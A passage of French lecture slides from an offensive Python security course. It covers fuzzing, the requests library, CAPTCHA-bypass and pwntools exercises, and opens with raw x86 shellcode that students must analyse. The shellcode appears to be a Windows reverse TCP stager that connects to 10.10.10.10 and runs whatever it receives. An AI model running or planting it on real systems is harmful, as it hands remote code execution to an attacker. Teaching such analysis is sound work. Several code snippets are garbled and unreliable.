\xe9\x80\xff\xff\xff\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\x89\xe8
\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x68\x0a\x0a\x0a
\x0a\x68\x02\x00\x34\x19\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x97
\x6a\x10\x56\x57\x68\x99\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x67\x00\x00
\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68
\x00\x10\x00\x00\x56\x6a\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68\x02\xd9
\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x68\x00\x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff
\xd5\x57\x68\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\x0f\x85\x70\xff\xff\xff\xe9\x9b\xff\xff
\xff\x01\xc3\x29\xc6\x75\xc1\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5

ESGI 4A - Programmation et sécurité python avancée 77 / 100


TP 2 - Mais que fait il ?
Utilisez des logger pour afficher votre compte rendu personnel.
Exemple de résultat attendu :

printf $(cat [Link]) | ./[Link]


[+] Testing shellcode of size XXXB
[+] Shellcode analysed !
BOOL CreateProcess (
LPCWSTR = 0x00db8140 =>
...
<Shellcode instructions>
...
[+] Explication : ce shellcode provient... (détailler l'analyse)

ESGI 4A - Programmation et sécurité python avancée 78 / 100


PYTHON OFFENSIF

# Module 3 : automatiser ses attaques


web
Le fuzzing

Le fuzzing (ou test à données aléatoires) est une technique pour tester des
logiciels. L'idée est d'injecter des données aléatoires dans les entrées d'un
programme.

Source : [Link]
Dans un contexte réseau, cela permet de vérifier le comportement
d'un programme lors de la réception de donnée invalide.
Dans un contexte web, cela permet de déceler des points d'entrée
sur une application web.

ESGI 4A - Programmation et sécurité python avancée 80 / 100


Requests - introduction

Requests permet d'envoyer des requêtes HTTP facilement. Il n'est pas nécessaire
d'ajouter manuellement des chaînes de requête à vos URL, ni d'encoder vos
données POST. Le keep-alive et le pooling de connexion HTTP sont 100%
automatiques, grâce à urllib3.

Librairie python manipulant HTTP


Basée sur urllib3
Très populaire

ESGI 4A - Programmation et sécurité python avancée 81 / 100


Requests - installation

Comme d'habitude :

python -m pip install requests

Ou depuis les sources :

git clone [Link]

ESGI 4A - Programmation et sécurité python avancée 82 / 100


Requests - utilisation
Récupérer la liste des évenements GitHub

import requests
r = [Link]('[Link]
print([Link])

Rendu

❯ python3 [Link]
[{"id":"32143574256","type":"PushEvent","actor":{"id":1...

ESGI 4A - Programmation et sécurité python avancée 83 / 100


Requests - utilisation
Rajouter des paramètres dans l'URL

import requests
payload = {'key1': 'value1', 'key2': 'value2'}
r = [Link]('[Link] params=payload)
You can see that the URL has been correctly encoded by printing the URL:

print([Link])

Résultat :

[Link]

ESGI 4A - Programmation et sécurité python avancée 84 / 100


Requests - utilisation

Afficher le contenu d'une image

import requests
from PIL import Image
from io import BytesIO

i = [Link](BytesIO([Link]))

ESGI 4A - Programmation et sécurité python avancée 85 / 100


Requests - utilisation

Modifier ses entêtes

import requests
url = '[Link]
headers = {'user-agent': 'my-app/0.0.1'}

r = [Link](url, headers=headers)

ESGI 4A - Programmation et sécurité python avancée 86 / 100


Requests - utilisation

Réaliser une requête POST Résultat

import requests
payload = {'key1': 'value1', 'key2': 'value2'} {
r = [Link]('[Link] data=payload)
print([Link]) "form": {
"key2": "value2",
"key1": "value1"
}
}

ESGI 4A - Programmation et sécurité python avancée 87 / 100


Requests - utilisation

Envoyer un fichier avec une requête POST

import requests

url = '[Link]
files = {
'file': ('[Link]', open('[Link]', 'rb'), 'application/[Link]-excel',
{'Expires': '0'})
}
r = [Link](url, files=files)

[Link]

ESGI 4A - Programmation et sécurité python avancée 88 / 100


Requests - utilisation

Gérer ses sessions Résultat

import requests
{
s = [Link]()
"cookies": {
[Link]('[Link]
r = [Link]('[Link] "sessioncookie": "123456789"
print([Link]) }
}

ESGI 4A - Programmation et sécurité python avancée 89 / 100


TP 3 - Captcha solver

9 challenges de contournement
de CAPTCHA à résoudre

Indices :

from PIL import Image


import pytesseract

ESGI 4A - Programmation et sécurité python avancée 90 / 100


PYTHON OFFENSIF

# Module 4 : automatiser ses attaques


réseaux
Pwntools

Pwntools est une bibliothèque de développement d'exploits. Écrite en Python,


elle est conçue pour un prototypage et un développement rapide, et vise à
simplifier au maximum l'écriture d'exploits.

Pwntools : [Link]

Très utile en CTF et dans la vraie vie


Conçu pour gagner beaucoup de temps
Incroyable

ESGI 4A - Programmation et sécurité python avancée 92 / 100


Pwntools - installation
Pour les meilleurs

sudo pacman -Suyy


sudo pacman -S python3 python3-pip python3-dev git libssl-dev libffi-dev build-essential
python3 -m pip install --upgrade pip
python3 -m pip install --upgrade pwntools

Pour les gueux

apt-get update
apt-get install python3 python3-pip python3-dev git libssl-dev libffi-dev build-essential
python3 -m pip install --upgrade pip
python3 -m pip install --upgrade pwntoolsshellco

ESGI 4A - Programmation et sécurité python avancée 93 / 100


Pwntools - usage
Se connecter à une socket TCP distante

from pwn import *

server_ip = "[Link]"
server_port = 8080

client = remote(server_ip, server_port)


[Link](b"Hello There!")
response = [Link]()

print("Response :")
print([Link]())

[Link]()

ESGI 4A - Programmation et sécurité python avancée 94 / 100


Pwntools - usage
Se connecter à une socket TCP distante uniquement en UDP

from pwn import *

server_ip = "[Link]"
server_port = 8080

client = remote(server_ip, server_port, typ='udp'))


[Link](b"Hello There!")
response = [Link]()

print("Response :")
print([Link]())

[Link]()

ESGI 4A - Programmation et sécurité python avancée 95 / 100


Pwntools - usage

Communiquer avec un processus

from pwn import *

io = process('sh')
[Link]('echo Hello, world')
[Link]()

# 'Hello, world\n'

ESGI 4A - Programmation et sécurité python avancée 96 / 100


Pwntools - usage
Se connecter à distance avec SSH

from pwn import *

session = ssh('bandit0', '[Link]', password='bandit0')

io = [Link]('sh', env={"PS1":""})
[Link]('echo Hello, world!')
[Link]()

# 'Hello, world!\n'

ESGI 4A - Programmation et sécurité python avancée 97 / 100


TP 4 - Crazy decoder

Pour réaliser ce challenge vous aurez besoin de décoder ce que vous


envoi le serveur. Mais attention, il faut être (très) rapide
Patience et persévérance sont les clefs de la réussite !

Indices :

import pwntools, base64

ESGI 4A - Programmation et sécurité python avancée 98 / 100


Et maintenant ?

Direction projet final par groupe de 2


Dispo sur MyGes !

ESGI 4A - Programmation et sécurité python avancée 99 / 100


Des questions ?

ESGI 4A - Programmation et sécurité python avancée 100 / 100

Vous aimerez peut-être aussi